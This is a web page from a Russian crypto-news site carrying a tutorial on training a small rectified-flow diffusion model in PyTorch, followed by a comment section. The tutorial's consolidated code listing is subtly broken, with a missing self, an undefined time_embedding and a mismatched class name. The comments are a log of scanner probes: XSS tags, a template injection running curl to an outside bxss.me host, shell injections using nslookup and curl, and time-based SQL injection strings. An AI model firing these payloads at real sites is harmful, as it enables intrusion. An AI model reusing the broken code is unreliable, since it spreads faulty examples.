Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9469 / Markets: 114759
Market Cap: $ 3 649 413 147 676 / 24h Vol: $ 111 462 614 249 / BTC Dominance: 58.888008521454%

Н Новости

Долгая дорога к DiT (часть 1)

Это лето обрадовало нас прорывом в обработке изображений с помощью нейросетей. Одна за другой выходят такие модели как Flux.1 Kontext, Qwen-Image-Edit, Gemini 2.4 Flash Image Preview (Nano Banana) демонстрируя недостижимый до сих пор уровень манипуляции цифровым контентом. Это не замена Фотошопу, а технология, открывающая врата в бесконечные визуальные миры и всё благодаря мощи Diffusion Transformer (DiT) архитектуры. Впечатлившись, я решил поближе познакомиться с диффузными трансформерами - собственноручно натренировать свою собственную DiT-модель. Об этом и будет эта статья.

Но начать стоит с малого.

Базовая модель

Как вообще работают эти диффузные модели? Есть нейросеть, которая принимает на вход зашумлённое изображение, а на выходе выдаёт шум (noise). И спрашивается зачем нам этот шум? А затем что теперь имея шумное изображение и предсказанный шум мы можем вычесть предсказанный шум из изображения и получить изображение с меньшим количеством шума. Я только что сказал "с меньшим количеством шума", но на самом деле это не так. На самом деле всё сложнее.

Небольшое отступление. Для создания модели я буду использовать библиотеку PyTorch. Все термины такие как тензор (tensor), батч (batch), измерение (dimension), шейп (shape) оттуда. Ожидаю от читателей хотя бы поверхностного понимания.

А что моделируем-то?

Вы не задумывались что вообще моделируют диффузные модели? А моделируют они трансформацию нормального распределения в целевое распределение. Возникает логичный вопрос: что ещё за "целевое распределение"? Легче всего это проиллюстрировать на примере двух измерений. Вот несколько сэмплов (точек на координатной плоскости) из нормального распределения. Отсюда и далее, когда я пишу "сэмпл", то имею ввиду двумерный тензор, который можно представить как точку на координатной плоскости:

https://i.imgur.com/gkUodK0.png
https://i.imgur.com/gkUodK0.png

Сэмплы из нормального распределения получить очень просто - вызываем torch.randn(2) сколько надо раз и всё.

А вот так на координатной плоскости могли бы выглядеть сэмплы из целевого распределения:

AOL4Xze.png

Это распределение можно определить как "все точки лежащие на кривых, образующих рисунок котёнка". В отличие от нормального распределения у нас нет готовой формулы, которая бы могла вытаскивать точки (сэмплы) именно из этого распределения.

И тут всем любителям котов на помощь приходят нейросети. Всего то и надо, что обучить функцию (модель), которая принимает на вход сэмпл из нормального распределения, а возвращает сэмпл уже из целевого распределения. Вот только такая постановка задачи - возвращать сэмплы целевого распределения - слишком сложная. Поэтому немного перефразируем:

Принимая на вход сэмпл из нормального распределения возвращать вектор направления, двигаясь по которому мы достигнем целевого распределения.

9o3dUdM.png

Получается что, например, для сэмпла (0.1, -0.5) наша модель предскажет вектор (1.05, 0.46). Теперь сложим этот вектор с исходным сэмплом. Получаем точку на целевом распределении. И так будет работать для каждого сэмпла из нормального распределения.

То что я только что описал (предсказание вектора) - это вариант диффузии называемый Rectified Flow. Он отличается от известного всем DDPM и отличается в лучшую сторону. Но я от этом рано заговорил, продолжаем.

Итак, можно сказать, что наша модель будет моделировать трансформацию простого распределения (нормальное, оно же Гауссово) в сложное целевое распределение.

Звучит хорошо, да вот только моделировать трансформацию в один шаг - это тяжеловата задача получается. Вон GAN-модели с таким подходом далеко не продвинулись. Ладно, с GAN-моделями я немного утрирую, но гораздо практичнее опираться именно на траекторию - как шаг за шагом простое распределение трансформируется в сложное.

Что я имею в виду когда говорю, что можно опираться на траекторию? Смотрите, изначально данные для тренировки нашей нейросети состояли только из сэмплов целевого распределения (точки, лежащие на графике кота), а также такого же количества сэмплов из нормального распределение (шума короче). Но раз мы догадались моделировать трансформацию распределения "по шагам", то мы можем обогатить наш датасет всеми промежуточными состояниями, то есть целевыми сэмплами, которые зашумлены на 10%, 20%, 76% или вообще на любой процент. Другими словами, точками, которые находятся где-то на полпути между нормальным распределением и целевым.

Давайте ещё раз посмотрим как подход "выучить траекторию за раз" и "выучить траекторию по шагам" меняет нашу модель.

В первом случае наша модель функционирует вот так:
vector_to_target = model.predict(normal_noise_sample) - на вход только сэмпл из нормального распределения.

А в случае траектории по шагам модель будет работать так:
vector_to_target = model.predict(point_between_noise_and_target_distribution, time)
Здесь time - это доля пути, который точка прошла от шума, до целевого распределения. Процент зашумлённости, другими словами. Важно понимать: по сути, задача трансформацию распределения разбивается на мелкие подзадачи: "научись предсказывать путь до целевого распределения при 10% шума", "научись предсказывать путь до целевого распределения при 15% шума" и т.д. Такой подход позволяет гораздо лучше смоделировать трансформацию распределений, что повышает точность "предсказания".

За счёт чего увеличивается точность? А за счёт того, что теперь имея модель с дополнительным условием time мы можем вытаскивать сэмплы из целевого распределения ни с единственной попытки, а делая сколько угодно "уточнений" траектории. Легче понять если взглянуть на код инференса:

noise = sample_noise()  # сэмпл из нормального распределения
steps = 200  # разобъем траекторию на 200 маленьких шагов
for step in range(steps):
	time = step / steps  # будет меняться в интервале [0, 1)
	
	# независимо от time этот вектор всегда одной длины
	# в идеале вообще всегда один и тот же
	predicted_vector = model.predict(noise, time)
	
	scaled_vector = predicted_vector * (1 / steps)  # одна 200-я пути
	noise = noise + scaled_vector  # Наш изначальный шум на 0.5% приблизился 
	                               # к целевому распределению
	                               
# После завершения цикла наш noise - это уже сэмпл из целевого распределения

Помните, что в нашем примере все сэмплы это двумерные векторы (x, y) - точки на плоскости. Пользуясь терминологие PyTorch - тензоры с шейпом (2). А так-то модель можно создавать для тензоров любой формы.

Довольно теории

Для демонстрации нам понадобится датасет. Все элементы из него будут считаться сэмплыми из целевого распределения. Например вот такого:

def make_simple_dataset(amount):  
    cluster_1 = torch.rand((amount // 2), 2) * 1.5 + 0.6  
    cluster_2 = torch.rand((amount // 4), 2) * 0.8 + torch.tensor([-.8, .6])  
    cluster_3 = torch.rand((amount // 4), 2) * torch.tensor([1.2, 0.4]) + torch.tensor([-2.4, 0.6])  
  
    return torch.cat([cluster_1, cluster_2, cluster_3], dim=0)

На координатной плоскости 800 сэмплов этого распределения будут выглядеть вот так:

Y8aCpoZ.png

Теперь пора приниматься за PyTorch модель.

Будет эта модель состоять из трёх частей:

  1. Энкодер, который проецирует входной вектор из двух измерений во внутренний вектор из большего числа измерений (16). Зачем нам большее количество измерений? Чтобы модели было где "развернуться".

  2. Основная модель, состоящая из нескольких MLP-блоков. Будет непосредственной заниматься денойзингом входящих "шумных" сэмплов. MLP - это multilayer perceptron, та самая "классическая" нейронная сеть.

  3. Декодер, который превращает 16-размерный вектор обратно в две координаты.

Схематичное изображение модели
Схематичное изображение модели

Вот так выглядит упрощённая схема. Linear A - это энкодер. Состоит из одного единственного слоя nn.Linear (здесь и далее всё типы из PyTorch). По сути просто матрица, для трансформации 2-размерного тензора в 16-размерный. Прямоугольник посередине - это сам денойзер, состоящий из нескольких последовательных блоков/уровней. Несколько небольших нейросетей, выстроенных в ряд, короче. Linear B - это декодер. Опять же, матрица для трансформации 16-размерного тензора обратно в 2 координаты на плоскости. На схеме вместе 2 и 16 написано (B, 2) и (B, 16), потому что модель принимает на вход сэмплы не по одному а сразу группой (батчем). B - это размер батча (количество элементов).

Давайте сразу разберёмся как устроены внутренние блоки. Заодно вспомним как сделать в PyTorch Multilayered perceptron.

Итак, как написать вот такую нейросеть (модель)?

Стереотипная 'нейронная сеть'
Стереотипная 'нейронная сеть'

На PyTorch проще простого:

model = nn.Sequential(
	nn.Linear(4, 3),  # полносвязный слой
	nn.SiLU(),  # функция активации
	nn.Linear(3, 5),  # полносвязный слой
)

Давайте только завернём это в отдельный класс:

class MyBlock(nn.Module):
	def __init__(self):  
	    super().__init__()
	    self.mlp = nn.Sequential(
			nn.Linear(4, 3),
			nn.SiLU(),
			nn.Linear(3, 5),
		)
		
	def forward(x):  # эта функция пропускает входные данные сквозь нашу модель
		return self.mlp(x)

nn.Module - это полезный класс, который облегчает последующую работу с моделью.

Думаю, код будет гибче, если вынести скалярные константы в конструктор:

class MyBlock(nn.Module):
	def __init__(self, hidden_dim, mlp_ratio):  
	    super().__init__()
	    self.mlp = nn.Sequential(
			nn.Linear(hidden_dim, hidden_dim * mlp_ratio),
			nn.SiLU(),
			nn.Linear(hidden_dim * mlp_ratio, hidden_dim),
		)
		
	def forward(x):
		return self.mlp(x)

Теперь "ширину" и размерность входного вектора для этой нейросети можно указывать при создании.

Полный код
import torch.nn as nn

class DenoiserBlock(nn.Module):
	def __init__(self, hidden_dim, mlp_ratio):  
	    super().__init__()
	    self.ln = nn.LayerNorm(hidden_dim)
	    self.mlp = nn.Sequential(
			nn.Linear(hidden_dim, hidden_dim * mlp_ratio),
			nn.SiLU(),
			nn.Linear(hidden_dim * mlp_ratio, hidden_dim),
		)
		
	def forward(self, x):
		z = self.ln(x)  # сначала прогоняем входной тензор через нормализацию
		return self.mlp(z)  # а потом через MLP

В итоге получилась модель внутреннего блока, из которых будет состоять наша основная модель-денойзер. Так, а откуда взялся nn.LayerNorm ? Сейчас вдаваться в подробности не буду, просто скажу, что nn.LayerNorm позволяет удерживать значения тензоров (точек) где-то в пределах [-2, 2].

Вот для примера данные до и после нормализации

Скомкивались в центре, но сохранили форму
Скомкивались в центре, но сохранили форму

Другими словами, нормализовать - это значит преобразовать данные так, чтобы средняя была 0, а стандартное отклонение 1. Обыкновенная формула из статистики. Таким образом nn.LayerNorm облегчает тренировку модели и имеет ещё одно полезное свойство, о котором я, возможно, расскажу позже.

Кстати, вопрос к залу: тензор какой формы сможет принимать на вход вот эта конкретная модель:

model = DenoiserBlock(25, 3)

Ответ: любой тензор, у которого последнее измерение равно 25. Например (25), (72, 25), (1, 25), (8, 3, 25, 25), и т.п.

Ладно, с единственным блоком разобрались, переходим к основной модели.

class Denoiser(nn.Module):  
    def __init__(self, hidden_dims):  
        super().__init__()  
        self.input_encoder = nn.Linear(2, hidden_dims)  
        self.blocks = []
        self.output_decoder = nn.Linear(hidden_dims, 2)  
  

Как и на схеме выше, слой для превращения входного 2-размерного тензор в 16-размерный, слой для превращения внутреннего 16-размерного тензора обратно в 2-размерный. Давайте ещё раз напомню, что здесь 2-размерный тензора это тензор с шейпом (резмером) (B, 2), а 16-размерный с шейпом (B, 16). Здесь B - это размер батча (группы). Сколько сэмплов (точек) мы обрабатываем за раз, другими словами. Если, например, входной тензор будет размером (64, 2), то пройдя через input_encoder он превратится в тензор (64, 16).

Добавляем внутренние блоки:

class Denoiser(nn.Module):  
    def __init__(self, hidden_dims, num_blocks):  
        super().__init__()  
        self.input_encoder = nn.Linear(2, hidden_dims)
        block_list = [DenoiserBlock(hidden_dims, 4) for _ in range(num_blocks)]
        self.blocks = nn.ModuleList(block_list)
        self.output_decoder = nn.Linear(hidden_dims, 2)  
  

Зачем оборачивать в nn.ModuleList? Всё для того, чтобы параметры всех внутренних моделей в списке были доступны внешней модели. Другими словами, чтобы Denoiser со списком DenoiserBlock внутри управлялся как единая модель.

Осталось только дописать метод forward

def forward(self, x):  
    hidden = self.input_encoder(x)  # (B, 2) -> (B, 16)
    for block in self.blocks:
        hidden = block(hidden)  # выход одного блока передаётся на вход второму
    return self.output_decoder(hidden)  # (B, 16) -> (B, 2)

А код-то неверный! Блоки внутри денойзера должны быть соединены не последовательно, а через skip-connection. Не забывайте, что конечная цель - это модель-трансформер, а у трансформеров слои (блоки) соединены через skip-connection, поэтому переделываем то, как соединены блоки и превращаем Denoiser в остаточную сеть:

def forward(self, x):  
    hidden = self.input_encoder(x)  # (B, 2) -> (B, 16)
    for block in self.blocks:
	    # Выход каждого блока прибавляется к начальному представлению и передаётся дальше
        hidden = hidden + block(hidden)  # 
    return self.output_decoder(hidden)  # (B, 16) -> (B, 2)
Всё вместе это теперь выглядит вот так
import torch.nn as nn

class DenoiserBlock(nn.Module):
	def __init__(self, hidden_dim, mlp_ratio):  
	    super().__init__()
	    self.ln = nn.LayerNorm(hidden_dims)
	    self.mlp = nn.Sequential(
			nn.Linear(hidden_dim, hidden_dim * mlp_ratio),
			nn.SiLU(),
			nn.Linear(hidden_dim * mlp_ratio, hidden_dim),
		)
		
	def forward(x):
		z = self.ln(x)  # сначала прогоняем входной тензор через нормализацию
		return self.mlp(z)  # а потом через MLP
		

class Denoiser(nn.Module):  
    def __init__(self, hidden_dims, num_blocks):  
        super().__init__()  
        self.input_encoder = nn.Linear(2, hidden_dims)
        block_list = [Denoiser2DBlock(hidden_dims, 4) for _ in range(num_blocks)]
        self.blocks = nn.ModuleList(block_list)
        self.output_decoder = nn.Linear(hidden_dims, 2)
        
	def forward(self, x):  
	    hidden = self.input_encoder(x)  # (B, 2) -> (B, 16)
	    for block in self.blocks:
		    # ВНИМАНИЕ: это остаточная (residual) сеть, то есть  
		    # после каждого слоя мы обновляем наше скрытое представление прибавляя к нему результат работы блока  
		    hidden = hidden + block(hidden + time_embedding)
	        hidden = block(hidden)  # выход одного блока передаётся на вход второму
	    return self.output_decoder(hidden)  # (B, 16) -> (B, 2)

Осталось только написать код для тренировки

В самом начале надо сформировать датасет:

BATCH_SIZE = 128
simple_dataset = TensorDataset(make_simple_dataset(4096))  
data_loader = DataLoader(dataset=simple_dataset,   
                         batch_size=BATCH_SIZE,   
                         shuffle=True)

Короче, data_loader - это итератор по датасету из 4096 элементов, который будет за раз возвращать по 128 элементов из этого датасета, в случайном порядке (но без повторений). Если все элементы кончатся, то просто начнёт сначала.

Сама тренировка, это вот такой цикл:

for x, in data_loader:
	# одна итерация тренировки

А почему x, а не просто x без запятой? Да потому, что data_loader возвращает список, ведь датасеты обычно состоят из пар типа (вопрос -> ответ) или (изображение -> описание).

Один раз пройти по датасету часто бывает недостаточно. Модель должна увидеть один и тот же сэмпл несколько раз. Один проход по датасету называется эпоха (epoch). Поэтому оборачиваем код в ещё один цикл:

EPOCH = 2000
for epoch in range(EPOCH):
	epoch_loss = 0  # чтобы отслеживать какая суммарная ошибка за эпоху
	for x, in data_loader:
		# одна итерация тренировки
		# накапливаем epoch_loss
	if epoch % 100 == 0:  # пишем в консоль каждые 100 эпох
		print(f"Epoch {epoch + 1} completed. Loss: {epoch_loss:.2f}")

Давайте теперь добавим модель для тренировки:

LR = 3e-4  # Learning rate. Насколько сильно за раз будем обновлять веса модели
DEVICE = "cuda"  # Ну не на CPU же.

# инициализируем модель с 8 блоками внутри
model = Denoiser(hidden_dims=16, num_blocks=8)
model.to(DEVICE)  # и отправляем веса модели на GPU

# оптимайзер, который будет по-умному обновлять веса у модели (с инерцией и т.п.)
optimizer = torch.optim.AdamW(model.parameters(), lr=LR)                           


EPOCH = 2000
for epoch in range(EPOCH):
	epoch_loss = 0  # чтобы отслеживать какая суммарная ошибка за эпоху
	for x, in data_loader:
		# здесь подготовка данных для модели
		# создание xt и true_vector на основе сэмпла x иными словами
		
		# прогоняем входные данные сквозь модель и получаем предсказание
		predicted_vector = model(xt)
		# сравниваем предсказанный моделью вектор с эталонным и вычисляем ошибку
		loss = torch.mean((true_vector - predicted_vector) ** 2)
		  
		optimizer.zero_grad()  # очищаем градиент оставшийся с предыдущего цикла
		loss.backward()  # вычисляем градиент методом backpropagation
		optimizer.step()  # обновляем веса 
	if epoch % 100 == 0:  # пишем в консоль каждые 100 эпох
		print(f"Epoch {epoch + 1} completed. Loss: {epoch_loss:.2f}")

Много существует статей, где подробно расписан механизм обратного распространения ошибки, поэтому опишу всё очень просто, пропуская важные подробности.

В общем, вот этот код создаёт граф вычислений, в котором сохранены все вычисления, которые произошли, когда данные через модель:

predicted_vector = model(xt)
loss = torch.mean((true_vector - predicted_vector) ** 2)

Получившийся тензор loss тоже является частью этого графа, и поэтому, когда мы вызываем

loss.backward()

PyTorch использует имеющийся граф вычислений, чтобы определить (вычислить) как должны поменяться параметры всех участвующих в графе тензоров, чтобы значение loss стало меньше. Производную считает, короче. После этого у каждого параметра внутри модели появилось ещё дополнительное число, которое и является этой производной. Это и называется градиент. Теперь за дело принимается optimizer. Он имеет доступ ко всем параметрам модели (посмотрите как он инициализировался), а значит и к градиенту. Команда optimizer.step() заставляет оптимайзер обновить все параметры в модели руководствуясь градиентом, learning rate и своим внутренним состоянием (хитро вычисляемая инерция). Кстати, заметьте, что параметры обновились, но градиент никуда не делся и так и остался привязан к параметрам. Поэтому, в следующем цикле и вызываем optimizer.zero_grad(), чтобы очистить его, иначе loss.backward() наложит старый градиент на новый. Это иногда бывает полезно, но в такие подробности вдаваться не будем.

Дописываем оставшуюся часть цикла:

BATCH_SIZE = 128  
LR = 3e-4
DEVICE = "cuda"
EPOCH = 1000

for epoch in range(EPOCH):
	epoch_loss = 0
	for x, in data_loader:
	    # копируем сэмпл на GRU
		x0 = x.to(DEVICE)  # (128, 2) - форма тензора
		
		# создаём сэмпл из случайного распределения. Тоже (128, 2)
		noise = torch.randn_like(x, device=DEVICE)  # сразу же окажется на GPU
		
		# а это уже сэмплы из равномерного распределения в интервале от 0 до 1
		time = torch.rand((BATCH_SIZE, 1), device=DEVICE)  # (128, 1)
		
		
		# Какой вектор надо прибавить к шуму, чтобы получить целевое распределение
		true_vector = x0 - noise  # сразу 128 векторов за раз
		# xt - это точки лежащие "на полпути" от целевого распределения до нормального
		xt = noise + true_vector * (1 - time)
		
		predicted_vector = model(xt)
		loss = torch.mean((true_vector - predicted_vector) ** 2)
		epoch_loss += loss.item()  # накапливаем ошибку для логирования
		  
		optimizer.zero_grad()
		loss.backward()
		optimizer.step()
	if epoch % 100 == 0:
		print(f"Epoch {epoch + 1} completed. Loss: {epoch_loss:.2f}")

Какая у нас задача во время тренировки? Есть сэмплы из целевого распределения x0, есть сэмплы из нормального распределения noise. Чтобы научить модель трансформировать шумное распределение в целевое мы создаём набор данных xt - это точки лежащие где-то на траектории от шумного (нормального) распределения до целевого. Вот вы спросите, а какая у каждой точки траектория вообще? Тут просто, на самом деле: для каждого сэмпла из целевого распределения мы берём соответствующий ему (просто совпавший по индексу) сэмпл из нормального распределения. Так-как это распределение случайное, то можно просто сказать, что каждому сэмплу (точке) из целевого распределения берётся случайная точка из нормального распределения. Не самая ближайшая, а просто случайная, да. В таком случае true_vector - это просто вектор, соединяющий эту пару точек. И таких пар 128 - по размеру батча. Теперь раз у нас есть точки (сэмплы) из случайного распределения и вектора, которые указывают направление до (какого-то) сэмпла из целевого распределения, нам ничего не стоит создать набор точек, лежащий на траектории от точек случайного распределения до точек целевого - просто прибавить к точкам случайного распределения соответствующий вектор, предварительно его масштабировав (10% или там 87%). Переменная time со случайными числами от 0 до 1 как раз для этого. Так и получаем набор данных xt который и скармливаем модели:

xt = noise + true_vector * (1 - time)
predicted_vector = model(xt)

Если интересно почему (1 - time), а не просто time, то это мы привязываемся на то, что чем больше time тем больше шума.

Теперь код обучения готов, но если мы попытаемся запустить этот модуль, то в результате лишь увидим с десяток записей в консоль. Мы даже модель не сохраняем для дальнейшего использования. И самое главное - не видим подтверждения того, что моделируемая нами трансформация простого распределения в сложное вообще работает. Что делать? Написать код сэмплирования (инференса), где мы будем использовать натренированную модель, чтобы извлекать сэмплы из целевого распределения (надеюсь).

Ладно, вот код инференса:

samples = torch.randn((400, 2), device=DEVICE)  
with torch.no_grad():  
    STEPS = 50  
    for step in range(STEPS, 0, -1):  
        predicted = model(samples)  
        samples += predicted * (1 / STEPS)

Что тут происходит? Мы генерируем сэмпл из случайного распределения, потом 50 раз прогоняем его сквозь модель каждый раз уточняя вектор predicted. После каждой итерации цикла samples становятся всё ближе и ближе к целевому распределению, ну
а torch.no_grad() отключает вычисление градиента. Полезно, если мы хотим заниматься инференсом прямо во время тренировки и не хотим, чтобы тестовый прогон модели как-то на эту тренировку влиял.

Осталось лишь нанести точки на график, предварительно импортировав pyplot:

import matplotlib.pyplot as plt

Добавляем точки на график:

samples = torch.permute(samples, (1, 0)).cpu().detach()  # (400, 2) -> (2, 400)
  
plt.figure(figsize=(6, 6))  
plt.xlim(-3, 3)  
plt.ylim(-3, 3)  
plt.grid(True)  
plt.axhline(0, color='black', linewidth=0.5)  
plt.axvline(0, color='black', linewidth=0.5)  
plt.scatter(samples[0], samples[1], s=4, c='blue')  
plt.show()

И в результате получаем вот такую визуализацию (сравнение с целевой):

CrTTwU3.png

Итак, сегодня мы научились проекти... Погодите-ка! Вот вам не кажется, что мы что-то упустили, нет? Внимательный читатель уже догадался - наша модель полностью игнорирует переменную time. А это значит модель училась предсказывать целевое распределение не получая дополнительной информации о том, на каком участке траектории находились переданные ей сэмплы. Неудивительно, что вместо целевого распределения на графике клякса какая-то!

Ок, нам надо каким-то образом передать в модель информацию о времени (шаге). На руках у нас только число от 0 до 1, но модель простые числа не переваривает - нужно векторное представление. Для простоты скажем что вектор должен быть 16-размерным - такой же длины как и скрытое представление модели. Получив этот вектор (time_embedding) уникальный для каждого числа в интервале от 0 до 1, мы просто будем прибавлять его к скрытому представлению на каждом уровне, вот так:

hidden = hidden + block(hidden + time_embedding)

Таким образом, "впечатывая" в скрытое представление информацию о том, на каком уровне "зашумления" находятся переданные в модель данные. Напомню ещё раз, это нужно для того, чтобы модели было легче моделировать трансформацию распределений - ведь теперь она сможет выявлять закономерности между уровнем шума (time) и переданными данными, таким образом обучаясь лучше (в теории).

Только теперь проблема: как же нам из числа получить 16-размерный вектор? Я хотел тут написать про sinusoidal и прочие экспоненты, но, если честно, то простой проекции хватит.

Добавляем внутрь конструктора Denoiser:

self.time_linear = nn.Sequential(  
    nn.Linear(1, hidden_dims),  
    nn.LayerNorm(hidden_dims)  
)

LayerNorm просто чтобы выходные значения были где-то в районе [-2, 2].

Меняем forward метод:

def forward(self, x, t):  # теперь на вход принимает и время
    hidden = self.input_encoder(x)  # (B, 2) -> (B, 16)  
    
    # делаем его поменьше, чтобы информации о времене была
    # но при этом не "перезаписать" само скрытое представление
    time_embedding = self.time_linear(t) * 0.02  
    for block in self.blocks:  
        hidden = hidden + block(hidden + time_embedding)  
    return self.output_decoder(hidden)

Осталось лишь поправить код инференса

samples = torch.randn((400, 2), device=DEVICE)  
with torch.no_grad():  
    STEPS = 50  
    for step in range(STEPS, 0, -1):
	    # тензор с шейпом (1)
        time = torch.tensor(step / STEPS, device=DEVICE)
        # расширяем его до шейпа (400, 1)
	    time = time.expand(samples.size(0), 1)
        predicted = model(samples, time)  
        samples += predicted * (1 / STEPS)

Запускаем тренировку с теми же самыми параметрами и получаем:

j4xDi8x.png

Вот так!

Тут пара анимацией процесса инференса
5dNt0Mm.gif

Бараний датасет

Бараний датасет
Бараний датасет

Важные детали:

  1. Давайте ещё раз скажу, модель выучила не целевое распределение, а именно трансформацию нормального распределения. Если запустить инференс с другим сидом, то точки уже будут в другом расположении, но всё ещё в пределах целевого распределения.

  2. Это не DDPM модель! При DDPM мы бы использовали формулу forward diffusion, а тут у нас rectified flow, поэтому для "зашумления" сэмплов мы используем простую линейную интерполяцию xt = x0 * (1 - time) + noise * time. И предсказывает модель flow-вектор (velocity), а не шум, как в DDPM.

  3. Весь написанный код можно найти здесь.

Заключение

В этой статье я шаг за шагом рассказал как с нуля обучить мини-диффузную модель использую простой синтетический датасет.

Ключевым моментом стала идея моделировать трансформацию простого распределения (шума) в сложное (наш датасет) не за один шаг, а пошагово, используя Rectified Flow вместо DDPM. Это позволило нам обогатить обучающий набор промежуточными состояниями и создать модель, которая предсказывает вектор направления (flow-vector) для каждого шага.

На собственном примере убедились, какое важное значение играет time-embedding для повышения точности - позволяет модели учитывать степень зашумления данных и лучше обучаться.

Думаю, я рассказал достаточно, чтобы у вас появилось базовое понимание работы диффузных моделей, а значит можно приниматься за что-то поинтереснее. Часть 2 будет про обучение уже на датасете EMNIST. Будем создавать модель, способную генерировать рисунки чисел и букв. Продолжение следует...

Источник

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

